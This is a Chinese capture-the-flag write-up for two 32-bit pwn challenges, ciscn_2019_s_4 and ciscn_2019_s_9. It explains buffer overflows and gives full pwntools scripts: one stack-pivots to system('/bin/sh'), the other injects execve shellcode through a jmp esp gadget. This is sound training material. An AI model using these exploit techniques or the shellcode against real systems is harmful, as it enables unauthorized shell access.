ciscn_2019_s_4
ciscn_2019_s_4
准备

32 位,开了 NX
保护
分析
main函数
1 2 3 4 5 6 7
| int __cdecl main(int argc, const char **argv, const char **envp) { init(); puts("Welcome, my friend. What's your name?"); vul(); return 0; }
|
有一个 vul
函数
vul函数
1 2 3 4 5 6 7 8 9 10
| int vul() { char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u); read(0, s, 0x30u); printf("Hello, %s\n", s); read(0, s, 0x30u); return printf("Hello, %s\n", s); }
|
两个输入点,每次输入后都会输出,这里读取输入最大 48(0x30) 个字节到 s
,但 s
大小为 40,所以存在缓冲区溢出
hack函数
1 2 3 4
| int hack() { return system("echo flag"); }
|
有 system
函数,连接路径有问题
思路:
这题有栈溢出,有 system
函数,并且通过 ida
查看栈情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| -0000000000000028 // Use data definition commands to manipulate stack variables and arguments. -0000000000000028 // Frame size: 28; Saved regs: 4; Purge: 0 -0000000000000028 -0000000000000028 _BYTE s; -0000000000000027 // padding byte -0000000000000026 // padding byte -0000000000000025 // padding byte -0000000000000024 // padding byte -0000000000000023 // padding byte -0000000000000022 // padding byte -0000000000000021 // padding byte -0000000000000020 // padding byte -000000000000001F // padding byte -000000000000001E // padding byte -000000000000001D // padding byte -000000000000001C // padding byte -000000000000001B // padding byte -000000000000001A // padding byte -0000000000000019 // padding byte -0000000000000018 // padding byte -0000000000000017 // padding byte -0000000000000016 // padding byte -0000000000000015 // padding byte -0000000000000014 // padding byte -0000000000000013 // padding byte -0000000000000012 // padding byte -0000000000000011 // padding byte -0000000000000010 // padding byte -000000000000000F // padding byte -000000000000000E // padding byte -000000000000000D // padding byte -000000000000000C // padding byte -000000000000000B // padding byte -000000000000000A // padding byte -0000000000000009 // padding byte -0000000000000008 // padding byte -0000000000000007 // padding byte -0000000000000006 // padding byte -0000000000000005 // padding byte -0000000000000004 // padding byte -0000000000000003 // padding byte -0000000000000002 // padding byte -0000000000000001 // padding byte +0000000000000000 _DWORD __saved_registers; +0000000000000004 _UNKNOWN *__return_address; +0000000000000008 +0000000000000008 // end of stack variables
|
这里输入 0x28+4(44) 大小的值后才到返回地址,所以这里我们最多覆盖到返回地址,没有更多可用空间,所以需要栈迁移
这里两次输出,并且会有输出,所以可以先利用第一次输入和输出去泄露 ebp
的值
1 2 3 4 5 6 7
| payload=b'a'*39+b'b' io.sendafter(b"What's your name?",payload)
io.recvuntil(b'b') ebp=u32(io.recv(4).ljust(4,b'\x00')) log.success('ebp: '+hex(ebp)) # gdb.attach(io)
|
然后运用栈迁移需要 s
和 leave_ret
的地址,并且最后要构造 system('/bin/sh')
,所以还需要 system
函数的地址
通过 ROPgadget
指令获得 leave_ret
的地址

通过 gdb
查看栈情况,计算 ebp
与输入点的偏移,来确定 s
的地址

偏移量为 0x38
查看 ida
获得 system
函数的地址

地址为 0x8048400
1 2 3 4 5 6 7 8 9 10
| payload=b'a'*39+b'b' io.sendafter(b"What's your name?",payload)
io.recvuntil(b'b') ebp=u32(io.recv(4).ljust(4,b'\x00')) log.success('ebp: '+hex(ebp))
s=ebp-0x38 system=0x8048400 leave_ret=0x080484b8
|
最后构造 payload
进行栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13
| payload=b'a'*39+b'b' io.sendafter(b"What's your name?",payload)
io.recvuntil(b'b') ebp=u32(io.recv(4).ljust(4,b'\x00')) log.success('ebp: '+hex(ebp))
s=ebp-0x38 system=0x8048400 leave_ret=0x080484b8
payload=(p32(system)+p32(0)+p32(s+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(s-4)+p32(leave_ret) io.send(payload)
|
这里前面写入 40 个字节后,把 ebp
写成 s-4
的地址(减 4 因为 leave
指令 mov esp,ebp
之后还有 pop ebp
使得 esp
增加),返回地址写入 leave_ret
两次 leave_ret
后(函数自身最后的一个 leave_ret
和我们返回地址设置的一个 leave_ret
),esp
会指向 s
处
所以在前面 写入的 40 字节中,我们先写入 system
和 /bin/sh
,再补齐,使得栈迁移跳转到这里时,运行 system('/bin/sh')
,获得 shell
(这里直接构造 p32(system)+p32(0)+b'/bin/sh\x00'
,会出现参数 b'/bin/sh\x00'
没写进 system
的问题,所以这里给一个指向地址,s+12
指向的的是 b'/bin/sh\x00'
)
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(log_level='debug',arch='i386',os='linux') # io = remote('node5.buuoj.cn',28342) io = process('/home/motaly/s4')
payload=b'a'*39+b'b' io.sendafter(b"What's your name?",payload)
io.recvuntil(b'b') ebp=u32(io.recv(4).ljust(4,b'\x00')) log.success('ebp: '+hex(ebp))
s=ebp-0x38 system=0x8048400 leave_ret=0x080484b8
payload=(p32(system)+p32(0)+p32(s+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(s-4)+p32(leave_ret) io.send(payload)
io.interactive()
|
ciscn_2019_s_9
ciscn_2019_s_9
准备

32 位,保护全没开
分析
main函数
1 2 3 4
| int __cdecl main(int argc, const char **argv, const char **envp) { return pwn(); }
|
有一个 pwn
函数
pwn函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int pwn() { char s[32]; // [esp+8h] [ebp-20h] BYREF
puts("\nHey! ^_^"); puts("\nIt's nice to meet you"); puts("\nDo you have anything to tell?"); puts(">"); fflush(stdout); fgets(s, 50, stdin); puts("OK bye~"); fflush(stdout); return 1; }
|
一个输入点,读取输入最大 50 大小的数据到 s
,但 s
大小为 32,所以存在缓冲区溢出
hint函数
1 2 3 4
| void hint() { __asm { jmp esp } }
|
有一个 jmp esp
指令
思路:
这题有栈溢出,没直接的连接点,想到程序什么保护都没开,所以可以考虑打 shellcode
通过 gdb
查看内存区域布局

可以看到栈上是可读,可写,可执行的
再去 ida
中查看一下栈情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| -0000000000000028 // Use data definition commands to manipulate stack variables and arguments. -0000000000000028 // Frame size: 28; Saved regs: 4; Purge: 0 -0000000000000028 -0000000000000028 // padding byte -0000000000000027 // padding byte -0000000000000026 // padding byte -0000000000000025 // padding byte -0000000000000024 // padding byte -0000000000000023 // padding byte -0000000000000022 // padding byte -0000000000000021 // padding byte -0000000000000020 char s[32]; +0000000000000000 _DWORD __saved_registers; +0000000000000004 _UNKNOWN *__return_address; +0000000000000008 +0000000000000008 // end of stack variables
|
输入 0x20+4(36) 大小的值后才到返回地址,这里溢出的空间没有很大,结合给的 hint
函数,所以需要栈劫持进行构造
因为 hint
函数这里的操作 jsp esp
,是跳转到栈顶 esp
处,所以我们可以往栈上写入 shellcode
,然后想办法让 esp
指向 shellcode
处,并运行 esp
处的内容
查看 ida
获得 hint
函数中 jsp esp
操作的地址

地址为 0x8048554
因为这里输入点到返回地址,才 36 大小,所以找个短字节的shellcode
1 2 3 4
| ret=0x8048554 shellcode=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
payload=shellcode.ljust(36,b'a')+p32(ret)
|
写入后,返回地址给到 jsp esp
操作的地址
此时 payload
的长度是前面填充 36 加上返回地址 4 字节,总共 40 字节
所以我们让 esp
减去 40 大小,到 shellcode
头,然后运行 esp
1 2 3 4 5 6 7 8 9
| ret=0x8048554 shellcode=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
payload=shellcode.ljust(36,b'a')+p32(ret) payload+=asm(''' sub esp, 40 call esp ''') io.sendlineafter(b'>\n',payload)
|
总结这里大概的运行流程
构造的是写入 shellcode
,然后补充填满 36 字节,返回地址覆盖为 jsp esp
操作的地址,再写入 sub esp, 40
和 call esp
这两个操作
此时 esp
在 sub esp, 40
和 call esp
这一步处
开始运行程序,到最后的返回地址,执行 jmp esp
操作,跳转到 sub esp, 40
和 call esp
处, sub esp, 40
后esp
指向了 shellcode
的开头, call esp
后会运行 esp
指向的内容,即 shellcode
,获得 shell
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(log_level='debug',arch='i386',os='linux') # io = remote('node5.buuoj.cn',28342) io = process('/home/motaly/s9')
ret=0x8048554 shellcode=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
payload=shellcode.ljust(36,b'a')+p32(ret) payload+=asm(''' sub esp, 40 call esp ''') io.sendlineafter(b'>\n',payload)
io.interactive()
|